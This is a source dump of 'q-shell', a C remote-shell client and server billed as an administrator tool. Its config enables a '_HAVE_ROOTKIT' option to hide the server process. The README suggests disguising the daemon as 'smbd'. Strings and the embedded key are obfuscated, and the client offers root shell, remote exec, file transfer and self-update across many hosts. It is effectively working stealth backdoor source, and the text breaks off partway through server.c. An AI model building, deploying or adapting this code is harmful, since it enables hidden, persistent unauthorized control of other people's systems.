├── VERSION ├── my_rand.h ├── blowfish.h ├── config.h ├── ChangeLog ├── Makefile ├── my_rand.c ├── README.md ├── setkey.c ├── client.c ├── server.c ├── blowfish.c ├── common.h └── LICENSE /VERSION: -------------------------------------------------------------------------------- 1 | 3.3 2 | -------------------------------------------------------------------------------- /my_rand.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2014 Qian Shanhai (qianshanhai@gmail.com) 3 | */ 4 | 5 | #ifndef __MY_RAND_H 6 | #define __MY_RAND_H 7 | 8 | unsigned int my_rand(); 9 | char *my_randomize(char *buf, int len); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /blowfish.h: -------------------------------------------------------------------------------- 1 | #ifndef __KOC__H 2 | #define __KOC__H 3 | 4 | typedef struct { 5 | unsigned int P[16 + 2]; 6 | unsigned int S[4][256]; 7 | } KOC_CTX; 8 | 9 | void koc_init(KOC_CTX *ctx, const char *key, int keyLen); 10 | void koc_encrypt(const KOC_CTX *ctx, unsigned int *xl, unsigned int *xr); 11 | void koc_decrypt(const KOC_CTX *ctx, unsigned int *xl, unsigned int *xr); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /config.h: -------------------------------------------------------------------------------- 1 | #ifndef __Q_SHELL_CONFIG_H 2 | #define __Q_SHELL_CONFIG_H 3 | 4 | #define _PORT 2800 5 | 6 | /* 7 | * if not defined _HAVE_MORE_FUNCTION, 8 | * just got shell, no command 'get/put/update/exec/passwd' 9 | */ 10 | 11 | #define _HAVE_MORE_FUNCTION 12 | 13 | /* 14 | * You can change HLEN_* to make owner version 15 | * those HLEN_* must less than HEAD_LEN 16 | */ 17 | #define HLEN_POS_1 5 18 | #define HLEN_POS_2 7 19 | #define HLEN_POS_3 11 20 | #define HLEN_PAD 13 21 | 22 | #define HEAD_LEN 16 /* HEAD_LEN must a multiple of 8 */ 23 | 24 | /* 25 | * if not defined _HAVE_ROOTKIT 26 | * the process pid will not hide 27 | */ 28 | 29 | #define _HAVE_ROOTKIT 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /ChangeLog: -------------------------------------------------------------------------------- 1 | -- 2014.9.4 2 | 3 | * 1.0 release 4 | 5 | -- 2014.10.10 6 | 7 | * 2.0 release 8 | prevent cracker to catch network data and uppack the data. 9 | 10 | -- 2014.10.10 11 | 12 | * 3.0 release 13 | improve login authentication. 14 | 15 | -- 2015.2.16 16 | 17 | * 3.1 release 18 | improve set_key.c 19 | 20 | -- 2015.3.11 21 | 22 | * 3.2 release 23 | 1. add micro _HAVE_MORE_FUNCTION to switch more function 24 | 2. add change password interface, use 'qsh passwd' update password. 25 | 26 | -- 2015.6.11 27 | 28 | * 3.3 release 29 | 1. add HLEN_* in config.h 30 | 2. portable to android platform. Now can simply to do 'android=yes make clean all' 31 | 3. add _PORT environment variable to server 'qshd': export _PORT=1080 && ./qshd 32 | 33 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | HOST_CC = gcc 3 | 4 | ifeq ($(android), yes) 5 | ANDK=$(NDK_HOME) 6 | CC = arm-linux-androideabi-gcc 7 | API =13 8 | INC = -I$(ANDK)/platforms/android-$(API)/arch-arm/usr/include 9 | LIBS = -L$(ANDK)/platforms/android-$(API)/arch-arm/usr/lib -lc -lm 10 | else 11 | CC = gcc 12 | endif 13 | 14 | VERSION_DEF = -D_VERSION="\"$(shell cat VERSION | perl -pne chomp)\"" 15 | 16 | CFLAGS = $(INC) $(DEBUG) $(VERSION_DEF) -O2 -s 17 | LIBS += -lm 18 | 19 | objs = blowfish.o my_rand.o 20 | 21 | client = qsh 22 | server = qshd 23 | module = $(client) $(server) 24 | 25 | %.o:%.c 26 | @$(CC) $(CFLAGS) -o $@ -c $< 27 | @echo " CC $@" 28 | 29 | all: $(module) 30 | 31 | $(client): client.o $(objs) 32 | @$(CC) $(CFLAGS) -o $@ $^ $(LIBS) 33 | @echo " LD $@" 34 | 35 | $(server): server.o $(objs) passwd.o 36 | @$(CC) $(CFLAGS) -o $@ $^ $(LIBS) 37 | @echo " LD $@" 38 | @rm -f passwd.o 39 | 40 | passwd.o: setkey.c 41 | @$(HOST_CC) -o setkey $< 42 | @ ./setkey && $(CC) $(CFLAGS) -c passwd.c -o $@ 43 | @ cat /bin/ls > passwd.c && rm -f passwd.c 44 | 45 | clean: 46 | rm -f *.o $(module) client.o server.o $(objs) setkey 47 | 48 | -------------------------------------------------------------------------------- /my_rand.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2014 Qian Shanhai (qianshanhai@gmail.com) 3 | */ 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define ONE_READ_TOTAL 256000 12 | 13 | static int m_dev_random_flag = 0; 14 | static int m_fd = -1; 15 | static unsigned int *m_buf = NULL; 16 | static int m_total = ONE_READ_TOTAL; 17 | static int m_pos = ONE_READ_TOTAL - 1; 18 | 19 | void my_srand(unsigned int seed) 20 | { 21 | srand(getpid()); 22 | 23 | if ((m_fd = open("/dev/urandom", O_RDONLY)) == -1) { 24 | if ((m_fd = open("/dev/random", O_RDONLY)) == -1) { 25 | m_dev_random_flag = 0; 26 | return; 27 | } 28 | } 29 | 30 | m_buf = (unsigned int *)calloc(ONE_READ_TOTAL + 1, sizeof(unsigned int)); 31 | 32 | m_dev_random_flag = 1; 33 | } 34 | 35 | unsigned int my_rand() 36 | { 37 | unsigned int next; 38 | size_t size = ONE_READ_TOTAL * sizeof(unsigned int); 39 | 40 | if (m_dev_random_flag == 0) 41 | return (unsigned int)rand(); 42 | 43 | if (m_pos >= m_total - 1) { 44 | if (read(m_fd, m_buf, size) != size) 45 | return (unsigned int)rand(); 46 | m_pos = 0; 47 | } 48 | 49 | next = m_buf[m_pos++]; 50 | 51 | return next; 52 | } 53 | 54 | char *my_randomize(char *buf, int len) 55 | { 56 | unsigned int x, *p; 57 | int i, total = len / sizeof(int); 58 | int left = len % sizeof(int); 59 | 60 | for (i = 0; i < total; i++) { 61 | p = (unsigned int *)(buf + i * sizeof(int)); 62 | *p = my_rand(); 63 | } 64 | if (left > 0) { 65 | x = my_rand(); 66 | memcpy(buf + i * sizeof(int), &x, left); 67 | } 68 | 69 | return buf; 70 | } 71 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | q-shell -- Quick Shell for Unix administrator 2 | ======= 3 | 4 | ### introduction 5 | 6 | q-shell is quick shell for remote login into Unix system, 7 | it use blowfish crypt algorithm to protect transport data from client to server, 8 | you can get two program: 'qsh' for client, and 'qshd' for server, 9 | those program can rename by any name with you prefer. 10 | 11 | ### compile 12 | 13 | Just enter 'make' and it will automation to compile, but, you must input the 14 | server key. 15 | 16 | ### usage 17 | 18 | 1. server: 19 | 20 | Just run qshd on server: 21 | 22 | $ ./qshd 23 | 24 | But, you would like to run after change it to other name, such as: 25 | 26 | $ mv qshd smbd 27 | $ export PATH=.:$PATH 28 | $ smbd 29 | 30 | 2. client: 31 | 32 | Set some environment variable, then run qsh: 33 | 34 | $ export _IP=127.0.0.1 35 | $ export _PORT=2800 36 | $ unset _P 37 | $ ./qsh shell 38 | 39 | Now you already login into server $\_IP . 40 | 41 | ### more function 42 | 43 | q-shell include more function to manage system: 44 | 45 | 1. put/get files: 46 | 47 | $ ./qsh get /path/to/server/file . 48 | $ ./qsh put /path/to/local/file /path/to/server/file 49 | 50 | 2. run a command on server: 51 | 52 | $ ./qsh exec 'ls -l /bin' 53 | 54 | 3. update server program: 55 | 56 | $ ./qsh update /path/to/local/qshd 57 | 58 | This function will update remote qshd, and run again. 59 | 60 | 4. automation to run command on many server: 61 | 62 | $ for i in {10..20} ; do \ 63 | export _IP=192.168.0.$i 64 | export _PORT=2800 65 | export _P=key # set key 66 | ./qsh exec 'ls -l /bin' 67 | done 68 | 69 | Note: qsh use $\_P to fetch server key, so you should erase all history data after to use $\_P. 70 | 71 | 5. update password 72 | 73 | start with version 3.2, you can update the password as below: 74 | 75 | $ ./qsh passwd 76 | 77 | ### about VERSION file 78 | 79 | Client and server must have the same main version serial, otherwise, the client cannot 80 | to connect the server. the main version serial like, both is 1.x, or 2.x, or 3.x, etc. 81 | 82 | For example, if the client version is 1.1, and server is 1.5, so client can connect to 83 | the server, but if server version is 2.1, in that way the client cannot connect to server. 84 | 85 | 86 | ### file config.h 87 | 88 | You can configure the server port in config.h : 89 | \#define \_PORT 2800 90 | 91 | And undef \_HAVE\_MORE\_FUNCTION to disable some function. 92 | 93 | -------------------------------------------------------------------------------- /setkey.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2014 Qian Shanhai (qianshanhai@gmail.com) 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int init_rand() 11 | { 12 | unsigned int now = (unsigned int)time(NULL); 13 | 14 | srand(now ^ (unsigned int)getpid()); 15 | 16 | return 0; 17 | } 18 | 19 | #define RC ((rand() % (127 - 29)) + 29) 20 | 21 | struct set_key { 22 | unsigned int rand; 23 | char buf[64]; 24 | }; 25 | 26 | int _cmp_key(const void *a, const void *b) 27 | { 28 | struct set_key *pa = (struct set_key *)a; 29 | struct set_key *pb = (struct set_key *)b; 30 | 31 | return pa->rand > pb->rand ? 1 : -1; 32 | } 33 | 34 | int main(int argc, char *argv[]) 35 | { 36 | int i, j, len, total; 37 | char *p, buf[128], tmp[128]; 38 | FILE *fp; 39 | struct set_key key[68]; 40 | 41 | init_rand(); 42 | 43 | unlink("passwd.c"); 44 | 45 | p = getpass("server key: "); 46 | strcpy(buf, p); 47 | memset(p, 0, strlen(p)); 48 | 49 | if (strlen(buf) < 6) { 50 | printf("strlen of key must great than 6 !\n"); 51 | return 1; 52 | } 53 | 54 | p = getpass("server key again: "); 55 | strcpy(tmp, p); 56 | memset(p, 0, strlen(p)); 57 | 58 | if (strcmp(buf, tmp) != 0) { 59 | printf("key not match!\n"); 60 | return 1; 61 | } 62 | 63 | if ((fp = fopen("passwd.c", "w+")) == NULL) { 64 | printf("write passwd.c error\n"); 65 | return 1; 66 | } 67 | 68 | len = strlen(buf); 69 | 70 | fprintf(fp, "#include \n"); 71 | for (i = 0; i < len; i++) { 72 | total = rand() % 7 + 1; 73 | for (j = 0; j < total; j++) { 74 | fprintf(fp, "\tunsigned char K%u = %d; \n", rand(), RC); 75 | } 76 | fprintf(fp, "\tchar T%d = %d; \n", i, buf[i]); 77 | 78 | total = rand() % 5 + 3; 79 | for (j = 0; j < total; j++) { 80 | fprintf(fp, "\tunsigned char K%u = %d; \n", rand(), RC); 81 | } 82 | fprintf(fp, "\tint I%d = %d; \n", i, i); 83 | } 84 | 85 | for (i = 0; i < len; i++) { 86 | fprintf(fp, "\tchar *F%d(int i){return i == 0 ? &T%d : &T%d; } \n", 87 | i, i, i == len - 1 ? 0 : i + 1); 88 | } 89 | 90 | fprintf(fp, "char fall()\n{\n\treturn "); 91 | for (i = 0; i < len; i++) { 92 | fprintf(fp, " (*F%d(%d)) %s", i, i, i == len - 1 ? ";\n" : "+"); 93 | } 94 | fprintf(fp, "}\n"); 95 | 96 | fprintf(fp, "int __set_key(char *__p)\n{\n" 97 | "\tchar *x = __p; \n"); 98 | 99 | for (i = 0; i < len; i++) { 100 | key[i].rand = rand() % 5; 101 | sprintf(key[i].buf, "\tx[I%d] = *F%d(0); \n", i, i); 102 | } 103 | 104 | qsort(key, len, sizeof(struct set_key), _cmp_key); 105 | 106 | for (i = 0; i < len; i++) { 107 | fprintf(fp, "%s", key[i].buf); 108 | } 109 | 110 | fprintf(fp, "\treturn fall(); \n}\n"); 111 | fclose(fp); 112 | 113 | memset(buf, 0, len); 114 | memset(tmp, 0, len); 115 | 116 | return 0; 117 | } 118 | -------------------------------------------------------------------------------- /client.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2014 Qian Shanhai (qianshanhai@gmail.com) 3 | */ 4 | 5 | #include "common.h" 6 | 7 | static int m_raw_mode = 0; 8 | 9 | static char m_cmd_string[512]; 10 | static char m_local_path[512]; 11 | static char m_remote_path[512]; 12 | 13 | int my_getpass(const char *prompt, char *buf, int max_len) 14 | { 15 | int n; 16 | char *p; 17 | struct termios old, _new; 18 | 19 | if (tcgetattr(STDIN_FILENO, &old) != 0) 20 | return -1; 21 | 22 | printf("%s", prompt); 23 | memcpy(&_new, &old, sizeof(_new)); 24 | 25 | _new.c_lflag &= ~ECHO; 26 | if (tcsetattr (STDIN_FILENO, TCSAFLUSH, &_new) != 0) 27 | return -1; 28 | 29 | fgets(buf, max_len - 1, stdin); 30 | buf[max_len - 1] = 0; 31 | 32 | for (n = strlen(buf) - 1, p = buf; buf[n] == '\r' || buf[n] == '\n'; n--) { 33 | buf[n] = 0; 34 | } 35 | 36 | printf("\n"); 37 | 38 | tcsetattr(STDIN_FILENO, TCSAFLUSH, &old); 39 | 40 | return strlen(buf); 41 | } 42 | 43 | void sig_win(int sig) 44 | { 45 | int n, t; 46 | struct winsize w; 47 | char *buf = __buf; 48 | unsigned char *msg = __msg; 49 | 50 | if (ioctl(STDIN_FILENO, TIOCGWINSZ, &w) == 0) { 51 | memcpy(&win, &w, sizeof(w)); 52 | buf[0] = buf[1] = 255; 53 | t = winsize_pack(&w, buf + 2); 54 | if ((n = pack(msg, buf, 2 + t)) > 0) 55 | write(sock_fd, msg, n); 56 | } 57 | } 58 | 59 | void enter_raw_mode() 60 | { 61 | struct termios tio; 62 | 63 | if (tcgetattr(STDIN_FILENO, &tio) == -1) 64 | return; 65 | 66 | ioctl(STDIN_FILENO, TIOCGWINSZ, &win); 67 | 68 | memcpy(&origtty, &tio, sizeof(tio)); 69 | 70 | tio.c_cc[VMIN] = 1; 71 | tio.c_cc[VTIME] = 0; 72 | tio.c_cc[VLNEXT] = Ctrl('V'); 73 | #ifdef VDSUSP 74 | tio.c_cc[VDSUSP] = 0; 75 | #endif 76 | 77 | tio.c_lflag &= ~(ECHO | ECHOE | ECHOK | ICANON); 78 | 79 | tio.c_lflag |= ISIG; 80 | tio.c_cflag |= CS8; 81 | tio.c_oflag |= OPOST; 82 | 83 | if (tcsetattr(STDIN_FILENO, TCSANOW, &tio) == 0) 84 | m_raw_mode = 1; 85 | } 86 | 87 | void leave_raw_mode() 88 | { 89 | if (!m_raw_mode) 90 | return; 91 | 92 | ioctl(STDIN_FILENO, TIOCSWINSZ, &win); 93 | 94 | if (tcsetattr(STDIN_FILENO, TCSADRAIN, &origtty) == 0) 95 | m_raw_mode = 0; 96 | } 97 | 98 | void sig_send(int sig) 99 | { 100 | int t; 101 | unsigned char msg[64]; 102 | char ch = 0; 103 | 104 | switch (sig) { 105 | case SIGINT: 106 | ch = Ctrl('C'); 107 | break; 108 | case SIGQUIT: 109 | ch = Ctrl('\\'); 110 | break; 111 | case SIGTSTP: 112 | ch = Ctrl('Z'); 113 | break; 114 | default: 115 | ch = (char)sig; 116 | } 117 | 118 | if ((t = pack(msg, &ch, 1)) > 0) 119 | write(sock_fd, msg, t); 120 | } 121 | 122 | void client_cmd() 123 | { 124 | int n, t; 125 | char *buf = __buf, tmp[12]; 126 | unsigned char *msg = __msg; 127 | 128 | init_in_data(); 129 | 130 | if ((n = pack(msg, m_cmd_string, GET_LEN)) <= 0) 131 | return; 132 | 133 | write(sock_fd, msg, n); 134 | 135 | while ((n = _read_data(sock_in, buf, GET_LEN, 200000)) > 0) { 136 | if ((t = pack(msg, buf, n)) > 0) { 137 | write(sock_fd, msg, t); 138 | #ifdef SEND_DEBUG 139 | n = read_data_quick(sock_fd, tmp, TRANS_LEN); 140 | #endif 141 | } 142 | } 143 | 144 | while ((n = _read_data(sock_fd, buf, GET_LEN + HEAD_LEN, CMD_TO2)) > 0) { 145 | if ((t = unpack(msg, buf, n)) > 0) { 146 | write(sock_out, msg, t); 147 | #ifdef SEND_DEBUG 148 | write(sock_fd, TRANS_STRING, TRANS_LEN); 149 | #endif 150 | } 151 | } 152 | 153 | if ((t = unpack(msg, NULL, 0)) > 0) { 154 | write(sock_out, msg, t); 155 | #ifdef SEND_DEBUG 156 | write(sock_fd, TRANS_STRING, TRANS_LEN); 157 | #endif 158 | } 159 | } 160 | 161 | int client_get_passwd(char *buf) 162 | { 163 | int n; 164 | char tmp[256], tmp2[256]; 165 | 166 | my_getpass("new password: ", tmp, sizeof(tmp)); 167 | 168 | if (strlen(tmp) < 6) { 169 | printf("passwd length < 6!!\n"); 170 | return 0; 171 | } 172 | 173 | my_getpass("password again: ", tmp2, sizeof(tmp2)); 174 | 175 | n = strcmp(tmp, tmp2); 176 | 177 | strcpy(buf, tmp); 178 | 179 | memset(tmp, 0, sizeof(tmp)); 180 | memset(tmp2, 0, sizeof(tmp2)); 181 | 182 | if (n != 0) { 183 | printf("passwd not match!\n"); 184 | return 0; 185 | } 186 | 187 | return 1; 188 | } 189 | 190 | void client_change_passwd() 191 | { 192 | int t, n; 193 | char tmp[256]; 194 | unsigned char *msg = __msg; 195 | 196 | if (!client_get_passwd(tmp)) 197 | return; 198 | 199 | if ((n = pack(msg, tmp, strlen(tmp))) > 0) { 200 | write(sock_fd, msg, n); 201 | } 202 | 203 | if ((n = read(sock_fd, tmp, ONCE_SIZE + HEAD_LEN)) > 0) { 204 | if ((t = unpack(msg, tmp, n)) > 0) { 205 | msg[t] = 0; 206 | printf("Change password %s.\n", msg); 207 | return; 208 | } 209 | } 210 | 211 | printf("Change password maybe fail.\n"); 212 | } 213 | 214 | void client_update() 215 | { 216 | int n; 217 | char tmp[256]; 218 | unsigned char *msg = __msg; 219 | 220 | n = filesize(m_local_path); 221 | 222 | sprintf(tmp, "%d", n); 223 | if ((n = pack(msg, tmp, strlen(tmp))) > 0) { 224 | write(sock_fd, msg, n); 225 | put_file(m_local_path, sock_fd); 226 | } 227 | } 228 | 229 | void client_get() 230 | { 231 | int t; 232 | unsigned char *msg = __msg; 233 | 234 | if ((t = pack(msg, m_remote_path, GET_LEN)) > 0) { 235 | write(sock_fd, msg, t); 236 | get_file(m_local_path, sock_fd); 237 | } 238 | } 239 | 240 | void client_put() 241 | { 242 | int t; 243 | unsigned char *msg = __msg; 244 | 245 | if ((t = pack(msg, m_remote_path, PUT_LEN)) > 0) { 246 | write(sock_fd, msg, t); 247 | put_file(m_local_path, sock_fd); 248 | } 249 | } 250 | 251 | int my_connect(const char *ip, int port, int cmd) 252 | { 253 | int i, sockfd, len; 254 | struct sockaddr_in servaddr; 255 | char tmp[256]; 256 | 257 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 258 | printf("error: %s\n", strerror(errno)); 259 | return -1; 260 | } 261 | 262 | memset(&servaddr, 0, sizeof(servaddr)); 263 | servaddr.sin_family = AF_INET; 264 | servaddr.sin_port = htons(port); 265 | inet_pton(AF_INET, ip, &servaddr.sin_addr); 266 | 267 | if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1) { 268 | perror("connect"); 269 | return -1; 270 | } 271 | 272 | if (verify_client(sockfd) == -1) 273 | return -1; 274 | 275 | if (client_verify_version(sockfd) == -1) 276 | return -1; 277 | 278 | winsize_pack(&win, tmp); 279 | 280 | if (send(sockfd, tmp, 20, 0) != 20) 281 | return -1; 282 | 283 | sprintf(tmp, "%04d", cmd); 284 | 285 | if (send(sockfd, tmp, 4, 0) != 4) 286 | return -1; 287 | 288 | sock_fd = sockfd; 289 | sock_in = STDIN_FILENO; 290 | sock_out = STDOUT_FILENO; 291 | 292 | for (i = 1; i < 64; i++) 293 | my_signal(i, sig_send); 294 | 295 | my_signal(SIGWINCH, sig_win); 296 | 297 | init_in_data(); 298 | 299 | switch (cmd) { 300 | case ROOT_SHELL: 301 | loop(0); 302 | break; 303 | case ROOT_CMD: 304 | client_cmd(); 305 | break; 306 | case ROOT_PUT: 307 | client_put(); 308 | break; 309 | case ROOT_GET: 310 | client_get(); 311 | break; 312 | case ROOT_UPDATE: 313 | client_update(); 314 | break; 315 | case CHANGE_PASSWD: 316 | client_change_passwd(); 317 | break; 318 | default: 319 | break; 320 | } 321 | 322 | close(sock_fd); 323 | 324 | return 0; 325 | } 326 | 327 | static char __port[32], __ip[32]; 328 | 329 | void set_port_ip() 330 | { 331 | memset(__port, 0, sizeof(__port)); 332 | memset(__ip, 0, sizeof(__ip)); 333 | 334 | __ip[0] = __port[0] = '_'; 335 | __ip[2] = __port[1] = 'P'; 336 | __ip[1] = 'I'; 337 | __port[2] = 'O'; 338 | __port[3] = 'R'; 339 | __port[4] = 'T'; 340 | } 341 | 342 | void check_type(int argc, const char *type) 343 | { 344 | if (argc <= 1) 345 | exit(1); 346 | 347 | if (strcmp(type, "shell") == 0 || strcmp(type, "sh") == 0) 348 | remote_mode = ROOT_SHELL; 349 | else if (strcmp(type, "update") == 0) 350 | remote_mode = ROOT_UPDATE; 351 | else if (strcmp(type, "get") == 0) 352 | remote_mode = ROOT_GET; 353 | else if (strcmp(type, "put") == 0) 354 | remote_mode = ROOT_PUT; 355 | else if (strcmp(type, "exec") == 0 || strcmp(type, "cmd") == 0) 356 | remote_mode = ROOT_CMD; 357 | else if (strcmp(type, "pass") == 0 || strcmp(type, "passwd") == 0) 358 | remote_mode = CHANGE_PASSWD; 359 | else 360 | remote_mode = atoi(type); 361 | 362 | if (remote_mode != ROOT_SHELL 363 | && remote_mode != ROOT_CMD 364 | && remote_mode != ROOT_GET 365 | && remote_mode != ROOT_PUT 366 | && remote_mode != ROOT_UPDATE 367 | && remote_mode != CHANGE_PASSWD) 368 | exit(1); 369 | 370 | if (remote_mode != ROOT_SHELL && remote_mode != CHANGE_PASSWD && argc <= 2) 371 | exit(1); 372 | } 373 | 374 | int main(int argc, char *argv[]) 375 | { 376 | int i, port = 0; 377 | char *ip, *p; 378 | 379 | my_srand(0); 380 | 381 | my_setrlimit(240, 270); 382 | 383 | passwd = getenv("_P"); 384 | 385 | set_port_ip(); 386 | 387 | if ((ip = getenv(__port)) == NULL) { 388 | if (argc < 3) 389 | return 1; 390 | port = atoi(argv[2]); 391 | } else { 392 | port = atoi(ip); 393 | } 394 | 395 | if ((ip = getenv(__ip)) == NULL) { 396 | if (argc < 2) 397 | return 1; 398 | ip = argv[1]; 399 | } 400 | 401 | if (argc > 1 && strcmp(argv[1], "-v") == 0) { 402 | printf("version: %s\n", _VERSION); 403 | return 1; 404 | } 405 | 406 | in_data = (struct data *)malloc(sizeof(struct data)); 407 | memset(in_data, 0, sizeof(*in_data)); 408 | 409 | __buf =(char *)malloc(ONCE_SIZE * MUL); 410 | __msg = (unsigned char *)malloc(ONCE_SIZE * MUL); 411 | 412 | check_type(argc, argv[1]); 413 | 414 | memset(m_cmd_string, 0, sizeof(m_cmd_string)); 415 | memset(m_local_path, 0, sizeof(m_local_path)); 416 | memset(m_remote_path, 0, sizeof(m_remote_path)); 417 | 418 | if (remote_mode == ROOT_CMD) { 419 | for (i = 2; i < argc; i++) { 420 | strcat(m_cmd_string, argv[i]); 421 | strcat(m_cmd_string, " "); 422 | } 423 | strcat(m_cmd_string, "\n"); 424 | } else if (remote_mode == ROOT_UPDATE) { 425 | strcpy(m_local_path, argv[2]); 426 | } else if (remote_mode == ROOT_GET) { 427 | strcpy(m_remote_path, argv[2]); 428 | if (argc > 3) { 429 | strcpy(m_local_path, argv[3]); 430 | if (dashd(m_local_path)) { 431 | strcat(m_local_path, "/"); 432 | if ((p = strrchr(m_remote_path, '/'))) 433 | strcat(m_local_path, p + 1); 434 | else 435 | strcat(m_local_path, m_remote_path); 436 | } 437 | } else { 438 | if ((p = strrchr(m_remote_path, '/'))) 439 | strcpy(m_local_path, p + 1); 440 | else 441 | strcpy(m_local_path, m_remote_path); 442 | } 443 | } else if (remote_mode == ROOT_PUT) { 444 | strcpy(m_local_path, argv[2]); 445 | if (argc > 3) { 446 | sprintf(m_remote_path, "%s%c", argv[3], PUT_PATH_CHAR); 447 | if ((p = strrchr(m_local_path, '/'))) 448 | strcat(m_remote_path, p + 1); 449 | else 450 | strcat(m_remote_path, m_local_path); 451 | } else 452 | sprintf(m_remote_path, "%s%c", m_local_path, PUT_PATH_CHAR); 453 | } 454 | 455 | if (remote_mode == ROOT_UPDATE || remote_mode == ROOT_PUT) { 456 | if (filesize(m_local_path) <= 0) { 457 | perror(m_local_path); 458 | return 1; 459 | } 460 | } 461 | 462 | if (passwd == NULL) { 463 | char tmp[128]; 464 | my_getpass("key: ", tmp, sizeof(128)); 465 | init_key(tmp, strlen(tmp)); 466 | } else { 467 | init_key(passwd, strlen(passwd)); 468 | } 469 | 470 | enter_raw_mode(); 471 | my_connect(ip, port, remote_mode); 472 | leave_raw_mode(); 473 | 474 | return 0; 475 | } 476 | -------------------------------------------------------------------------------- /server.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2014 Qian Shanhai (qianshanhai@gmail.com) 3 | */ 4 | #include "common.h" 5 | 6 | static char **_argv = NULL; 7 | static char save_argv[128]; 8 | static char save_argv_tmp[128]; 9 | 10 | void sig_SIGXCPU(int sig) 11 | { 12 | exit(0); 13 | } 14 | 15 | void _cfmakeraw(struct termios *p) 16 | { 17 | p->c_cc[VMIN] = 1; 18 | p->c_cc[VTIME] = 0; 19 | p->c_cc[VLNEXT] = Ctrl('V'); 20 | p->c_cc[VEOF] = Ctrl('D'); 21 | p->c_cc[VEOL2] = Ctrl('@'); 22 | 23 | p->c_iflag &= ~(IGNBRK | IGNCR | PARMRK | ISTRIP | IXOFF); 24 | p->c_iflag |= (IXON | BRKINT | IGNPAR); 25 | #ifdef IMAXBEL 26 | p->c_iflag |= IMAXBEL; 27 | #endif 28 | 29 | p->c_oflag |= OPOST; 30 | /* p->c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN); */ 31 | p->c_lflag &= ~(ECHONL); 32 | p->c_lflag |= ISIG | ICANON; 33 | 34 | p->c_cflag &= ~(CSIZE|PARENB); 35 | p->c_cflag |= CS8; 36 | } 37 | 38 | void fixtty(int fd) 39 | { 40 | struct termios newtty; 41 | 42 | tcgetattr(fd, &origtty); 43 | memcpy(&newtty, &origtty, sizeof(newtty)); 44 | 45 | _cfmakeraw(&newtty); 46 | 47 | cfsetispeed(&newtty, B38400); 48 | cfsetospeed(&newtty, B38400); 49 | 50 | tcsetattr(fd, TCSANOW, &newtty); 51 | 52 | ioctl(fd, TIOCSWINSZ, (char *)&win); 53 | } 54 | 55 | 56 | #ifdef _AIX 57 | #define CLONE_PTY_FILE "/dev/ptc" 58 | #else 59 | #define CLONE_PTY_FILE "/dev/ptmx" 60 | #endif 61 | 62 | int my_grantpt(int fd) 63 | #ifdef __linux__ 64 | { 65 | grantpt(fd); 66 | 67 | return 0; 68 | } 69 | #else 70 | { 71 | char *name; 72 | 73 | name = ptsname(fd); 74 | 75 | chmod(name, S_IRUSR | S_IWUSR | S_IWGRP); 76 | 77 | return 0; 78 | } 79 | #endif 80 | 81 | int my_unlockpt(int fd) 82 | #ifdef __linux__ 83 | { 84 | return unlockpt(fd); 85 | } 86 | #else 87 | { 88 | return 0; 89 | } 90 | #endif 91 | 92 | int ptyopen(void (*func)(int fd)) 93 | { 94 | char *p; 95 | pid_t pid; 96 | char *slavename; 97 | int fd, slave; 98 | 99 | setsid(); 100 | 101 | if ((master = open(CLONE_PTY_FILE, O_RDWR | O_NOCTTY)) == -1) { 102 | return -1; 103 | } 104 | 105 | if (my_grantpt(master) == -1) { 106 | close(master); 107 | return -1; 108 | } 109 | 110 | if (my_unlockpt(master) == -1) { 111 | close(master); 112 | return -1; 113 | } 114 | fixtty(master); 115 | 116 | setsid(); 117 | 118 | if ((slavename = ptsname(master)) == NULL) { 119 | close(master); 120 | exit(1); 121 | } 122 | 123 | if ((slave = open(slavename, O_RDWR | O_NOCTTY)) < 0) { 124 | close(master); 125 | exit(1); 126 | } 127 | 128 | fixtty(slave); 129 | 130 | if ((pid = fork()) == -1) { 131 | close(master); 132 | return -1; 133 | } 134 | 135 | if (pid == 0) { 136 | setsid(); 137 | 138 | #ifdef TIOCSCTTY 139 | ioctl(slave, TIOCSCTTY, NULL); 140 | #endif 141 | func(slave); 142 | } 143 | 144 | close(slave); 145 | 146 | return pid; 147 | } 148 | 149 | static char *shell = "/bin/sh"; 150 | 151 | static char *_shell[] = { 152 | "/usr/bin/bash", 153 | "/bin/bash", 154 | "/bin/sh", 155 | "/system/bin/sh", 156 | NULL 157 | }; 158 | 159 | void get_shell() 160 | { 161 | int i; 162 | 163 | for (i = 0; _shell[i]; i++) { 164 | if (dashf(_shell[i]) && dashx(_shell[i])) { 165 | shell = _shell[i]; 166 | return; 167 | } 168 | } 169 | } 170 | 171 | void do_shell(int fd); 172 | 173 | void close_all_fd(int fd) 174 | { 175 | int i; 176 | 177 | for (i = 0; i <= 16; i++) { 178 | if (i != fd) 179 | close(i); 180 | } 181 | } 182 | 183 | void doit(int fd, void (*func)(int fd)) 184 | { 185 | int i, pid, n, other_pid; 186 | 187 | #ifdef _HAVE_ROOTKIT 188 | _daemon(0); 189 | #endif 190 | 191 | if (func == NULL) 192 | return; 193 | 194 | close_all_fd(fd); 195 | 196 | get_shell(); 197 | 198 | if ((pid = ptyopen(func)) == -1) 199 | return; 200 | 201 | for (i = 1; i < 64; i++) { 202 | my_signal(i, SIG_IGN); 203 | } 204 | 205 | set_default_signal(); 206 | 207 | sock_fd = fd; 208 | sock_in = master; 209 | sock_out = master; 210 | 211 | my_signal(SIGCHLD, sig_chld); 212 | 213 | loop(pid); 214 | 215 | kill(pid, SIGQUIT); 216 | kill(pid, SIGKILL); 217 | } 218 | 219 | void my_setenv() 220 | { 221 | char term[32], vt100[32], hist[32], null[32], ps1[32], crypt[32]; 222 | 223 | term[0] = 'T'; 224 | term[1] = 'E'; 225 | term[2] = 'R'; 226 